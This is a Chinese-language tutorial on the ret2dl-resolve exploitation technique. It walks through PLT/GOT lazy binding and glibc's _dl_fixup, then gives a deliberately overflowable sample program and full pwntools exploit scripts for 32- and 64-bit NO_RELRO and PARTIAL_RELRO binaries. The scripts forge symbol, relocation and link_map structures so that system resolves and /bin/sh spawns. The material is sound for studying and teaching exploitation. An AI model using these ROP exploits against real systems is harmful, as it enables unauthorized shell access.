在linux下,二进制引用的外部符号加载方式有三种,FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在PARTIAL_RELRO和NO_RELRO的情况下,外部符号的地址延迟加载,并且,在NO_RELRO下,ELF的dynamic段可读写。
ELF有plt表和got表,程序调用外部函数函数时,call的是plt表项,而plt表中,是这样的
plt表里,取出了got表对应函数的地址,然后jmp到地址处。
我们看看got表是什么样子的
并**[没有指向read函数]{.mark}**,我们跟踪过去看看
Push了一个数字,然后又jmp到了plt0处
最终发现,先push了一个地址,然后跳到了第二个划线地址处
跟踪进去看看
其实这就是dl_runtime_resolve函数,我们运行完后,再观察got表
其实就是dl_runtime_resolve接受两个参数,第一个是link_map,通过这个link_map,ld链接器可以访问到dynstr、dynamic、dynsym、rel.plt等所需要的数据地址,而第二个参数,则表明要解析的函数在符号表中是第几个,比如,在这个elf文件里,我们的read在第三个位置,因此push 2
那么,dl_runtime_resolve是如何工作的呢?我们查看glibc的源码,看看
它的源码在glibc/sysdeps/x86_64/dl-trampoline.h,是直接用汇编写的,我们看到,dl_runtime_resolve简单的调用了_dl_fixup,因此,我们再去看看_dl_fixup的源码,它的源码在glibc/elf/dl-runtime.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #ifndef reloc_offset # define reloc_offset reloc_arg # define reloc_index reloc_arg / sizeof (PLTREL) #endif DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW (Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); }
阅读上面源代码,我们知道了,解析时是根据符号名字符串来解析函数的,如果我们能够控制符号名字符串,那么,我们就可以实现解析任何函数,从而达到无需泄露来得到想要的函数。
我们写一个简单的程序来说明ret2dl-resolve技术,现在,我们有以下程序
ret2dl-solv.c
1 2 3 4 5 6 7 8 9 10 #include <unistd.h> #include <string.h> void fun () { char buffer[0x20 ]; read(0 ,buffer,0x200 ); } int main () { fun(); return 0 ; }
先看在NO_RELRO下的情况 先分析32位情况
在NO_RELRO情况下,因为dynamic可以修改,因此,我们直接修改dynamic的strtab,将它指向我们可控的区域,然后在可控区域对应的位置布置下需要的函数的名字即可,即伪造
dynstr。要注意对齐。
我们利用read,在bss段布下假的dynstr,然后修改dynamic段里strtab地址,让它指向fake_dynstr,然后手动调用dl_runtime_resolve函数解析,即可得到我们需要的函数。
我们的exp脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * sh = process('./ret2dlsolve2' ) elf = ELF('./ret2dlsolve2' ) read_plt = elf.plt['read' ] read_plt_load = 0x80482C6 leave_ret = 0x8048375 pop_ebp = 0x80484cb target_addr = 0x80496B0 + 4 bss = 0x8049778 fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00system\x00' payload = 'a' *0x2C + p32(pop_ebp) + p32(bss + 0x800 ) + p32(read_plt) + p32(leave_ret) + p32(0 ) + p32(bss + 0x800 ) + p32(0x1000 ) sh.sendline(payload) rop = 'AAAA' + p32(read_plt) + p32(read_plt_load) + p32(0 ) + p32(target_addr) + p32(0x100 ) payload2 = rop.ljust(0x50 ,'\x00' ) + fake_dynstr sh.sendline(payload2) sh.sendline(p32(bss+0x850 ) + ';sh' ) sh.interactive()
让我们再看看64位的情况
基本一致,只是要考虑栈环境,不然system调用不成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * sh = process('./ret2dlsolve2_64' ) elf = ELF('./ret2dlsolve2_64' ) read_plt = elf.plt['read' ] fun_addr = elf.sym['fun' ] target_addr = 0x600768 + 8 plt0_load = 0x4003B0 pop_rdi = 0x400553 pop_rsi = 0x400551 fake_dynstr = '\x00libc.so.6\x00system\x00' bss = 0x6008F8 rop = p64(pop_rdi) + p64(bss) + p64(plt0_load) + p64(0 ) payload = rop.ljust(0x28 ,'\x00' ) + p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(bss) + p64(0 ) + p64(read_plt) payload += p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(target_addr) + p64(0 ) + p64(read_plt) payload += rop sh.sendline(payload) payload2 = '/bin/sh' .ljust(0x10 ,'\x00' ) + fake_dynstr sleep(1 ) sh.sendline(payload2) sleep(1 ) sh.sendline(p64(bss + 0x10 )) sh.interactive()
接下来,我们看看PARTIAL_RELRO的情况 在PARTIAL_RELRO情况下,dynamic不可写,因此不再像上面那样简单的利用,我们需要伪造rel.plt。回过来看看源码
在获取reloc时未检查下标越界,而符号名又是通过sym->st_name取得
因此,我们在可控范围内同时伪造rel.plt、sym和dynstr,那么就能完成利用
我们先来看看32位情况下
各个数据结构,在源代码里查看对应的结构体,结合IDA调试现有的数据伪造即可
先是伪造sym
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym;
我们可以参照IDA调试里现有的来改
1 2 fake_dynsym = p32(system_str - dynstr_addr)+p32(0 )+p32(0 )+p8(0x12 )+p8(0 )+p16(0 )
然后我们伪造rel.plt
1 2 3 4 5 6 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
同样可以参照IDA调试里现有的来改
1 2 fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16 ) << 8 ) + 0x7 )
伪造后,我们调用dl_runtime_resolve函数时的第二个参数设置为reloc_arg=fake_rel_addr - rel_addr,这样就能解析出我们指定的函数了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * sh = process('ret2dlsolve' ) elf = ELF('ret2dlsolve' ) read_got = elf.got['read' ] read_plt = elf.plt['read' ] leave_ret = 0x8048395 pop_ebp = 0x80484eb dynstr_addr = 0x804821C dynsym_addr = 0x80481CC rel_addr = 0x8048298 plt0 = 0x80482D0 bss = 0x804A01C system_str = bss + 0x900 binsh_str = system_str + len ('system' ) + 1 fake_dynsym_addr = bss + 0x910 fake_dynsym = p32(system_str - dynstr_addr)+p32(0 )+p32(0 )+p8(0x12 )+p8(0 )+p16(0 ) fake_rel_addr = fake_dynsym_addr + len (fake_dynsym) fake_rel = p32(read_got) + p32((((fake_dynsym_addr - dynsym_addr) / 16 ) << 8 ) + 0x7 ) payload1 = 'a' *0x2C + p32(pop_ebp) + p32(bss + 0x800 ) + p32(read_plt) + p32(leave_ret) + p32(0 ) + p32(bss + 0x800 ) + p32(0x1000 ) sh.sendline(payload1) rop = '\x00' *0x4 + p32(plt0) + p32(fake_rel_addr - rel_addr) rop += p32(0 ) + p32(binsh_str) payload2 = rop.ljust(0x900 -0x800 ,'\x00' ) + ('system\x00/bin/sh\x00' .ljust(0x10 ,'\x00' )) payload2 += fake_dynsym + fake_rel sh.sendline(payload2) sh.interactive()
然后我们看看64位的情况下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 '''''if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } ''' from pwn import * sh = process('./ret2dlsolve_64' ) elf = ELF('./ret2dlsolve_64' ) read_plt = elf.plt['read' ] read_got = elf.got['read' ] pop_rbp = 0x400468 pop_rdi = 0x400583 pop_rsi = 0x400581 leave_ret = 0x400506 plt_load = 0x4003E0 bss = 0x601030 payload = 'a' *0x28 + p64(pop_rbp) + p64(bss + 0x580 ) + p64(pop_rsi) + p64(bss + 0x580 ) + p64(0 ) + p64(pop_rdi) + p64(0 ) + p64(read_plt) + p64(leave_ret) raw_input() sh.sendline(payload) dynstr = 0x400318 dynsym = 0x4002B8 rel_plt = 0x4003B0 system_str_addr = bss + 0x600 binsh_addr = system_str_addr + len ('system' ) + 1 fake_dynsym_addr = bss + 0x618 fake_dynsym = (p32(system_str_addr - dynstr) + p8(0x12 )).ljust(0x18 ,'\x00' ) fake_rel_addr = fake_dynsym_addr + len (fake_dynsym) + 0x8 fake_rel = p64(read_got) + p64((((fake_dynsym_addr - dynsym) / 0x18 ) << 32 ) + 0x7 ) + p64(0 ) rop = '\x00' *8 + p64(pop_rdi) + p64(binsh_addr) + p64(plt_load) + p64( (fake_rel_addr - rel_plt) / 0x18 ) payload2 = rop.ljust(0x80 ,'\x00' ) + ('system\x00/bin/sh\x00' ).ljust(0x18 ,'\x00' ) payload2 += fake_dynsym + '\x00' *0x8 + fake_rel raw_input() sh.sendline(payload2) sh.interactive()
理论上和32位差不多,但是出现了访问错误,因为在中间的执行过程中,[访问到了一段未映射的地址处。]{.mark}
因此,我们得另外想办法,那么得回过来看源代码
1 2 3 4 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { .... }
第一种方法是修改link_map,使得条件不成了。这种方法需要知道link_map的地址,也就是需要泄露link_map的地址。但是这显得很鸡肋,既然能够泄露,干嘛要用ret2-dl-resolve呢?
另一种方法是绕过最外层的if
1 2 3 4 5 6 7 8 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { ... } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; }
我们到最外层的else里去,如果,我们伪造link_map,让sym->st_value为某个已经解析了的函数的[地址]{.mark} ,比如read,让l->l_addr为我们需要的函数(system)到read的偏移,这样,l->l_addr + sym->st_value就是我们需要的函数地址。
1 2 3 4 5 6 7 8 9 typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym;
如何让sym->st_value为已经解析的函数的地址?
[如果,我们把read_got – 0x8处开始当成sym,那么sym->st_value就是read的地址,并且sym->st_other正好也不为0,绕过了if,一举两得]{.mark}
为了伪造link_map,我们需要知道link_map的结构,在glibc/include/link.h文件里,link_map结构比较复杂,但是,我们只需伪造需要用到的数据即可。
我们需要伪造这个数组里的几个指针,它们分别是
DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)
然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到
1 2 3 4 5 6 7 8 9 typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn;
现在,我们就开始伪造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 fake_link_map = p64(l_addr) fake_link_map += fake_dyn_strtab fake_link_map += fake_dyn_symtab fake_link_map += fake_dyn_rel fake_link_map += fake_rel fake_link_map = fake_link_map.ljust(0x68 ,'\x00' ) fake_link_map += p64(fake_dyn_strtab_addr) fake_link_map += p64(fake_dyn_symtab_addr) fake_link_map += '/bin/sh' .ljust(0x80 ,'\x00' ) fake_link_map += p64(fake_dyn_rel_addr)
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import * sh = process('./ret2dlsolve_64' ) elf = ELF('./ret2dlsolve_64' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) read_plt = elf.plt['read' ] read_got = elf.got['read' ] fun_addr = elf.sym['fun' ] bss = 0x601030 l_addr = libc.sym['system' ] - libc.sym['read' ] r_offset = bss + l_addr * -1 if l_addr < 0 : l_addr = l_addr + 0x10000000000000000 pop_rdi = 0x400583 pop_rsi = 0x400581 plt_load = 0x4003E6 payload = 'a' *0x28 + p64(pop_rsi) + p64(bss + 0x100 ) + p64(0 ) + p64(pop_rdi) + p64(0 ) + p64(read_plt) + p64(fun_addr) sleep(1 ) sh.sendline(payload) dynstr = 0x400318 fake_link_map_addr = bss + 0x100 fake_dyn_strtab_addr = fake_link_map_addr + 0x8 fake_dyn_strtab = p64(0 ) + p64(dynstr) fake_dyn_symtab_addr = fake_link_map_addr + 0x18 fake_dyn_symtab = p64(0 ) + p64(read_got - 0x8 ) fake_dyn_rel_addr = fake_link_map_addr + 0x28 fake_dyn_rel = p64(0 ) + p64(fake_link_map_addr + 0x38 ) fake_rel = p64(r_offset) + p64(0x7 ) + p64(0 ) fake_link_map = p64(l_addr) fake_link_map += fake_dyn_strtab fake_link_map += fake_dyn_symtab fake_link_map += fake_dyn_rel fake_link_map += fake_rel fake_link_map = fake_link_map.ljust(0x68 ,'\x00' ) fake_link_map += p64(fake_dyn_strtab_addr) fake_link_map += p64(fake_dyn_symtab_addr) fake_link_map += '/bin/sh' .ljust(0x80 ,'\x00' ) fake_link_map += p64(fake_dyn_rel_addr) sleep(1 ) sh.sendline(fake_link_map) sleep(1 ) rop = 'A' *0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78 ) + p64(plt_load) + p64(fake_link_map_addr) + p64(0 ) sh.sendline(rop) sh.interactive()
FULL_RELRO的情况下 程序在运行之前就已经调用了ld.so将所需的外部函数加载完成,程序运行期间不再动态加载,因此,在程序的got表中,link_map和dl_runtime_resolve函数的地址都为0,因为后续不再使用,没有必要。
因此**[在FULL_RELRO的情况下,要想利用ret2dl-runtime-resolve技术,就只能在栈中低位覆盖数据一定几率恢复出dl_runtime_resolve。]{.mark}**
比如在glibc2.27下,我们低位覆盖这个数据,有很大几率指向dl_runtime_resolve函数的地址,然后,link_map我们可以在我们可控的地方伪造。
然而,仍然很难利用起来,由于低位覆盖的原因,我们不能继续再在这个位置后面布置其他ROP。因此,在不是特别没办法时,尽量考虑其他方法。
这里,介绍一种其他的方法来针对FULL_RELRO的方案来getshell,那就是低位覆盖栈中数据一定几率指向syscall,构造execve(“/bin/sh”,0,0)系统调用。要构造这样的ROP,其他gadget容易搞定,关键是edx必须为0,不然调用会出错,然而,pop edx或pop rdx这样的gadget基本没有,因此,我们可以ret2csu,来控制edx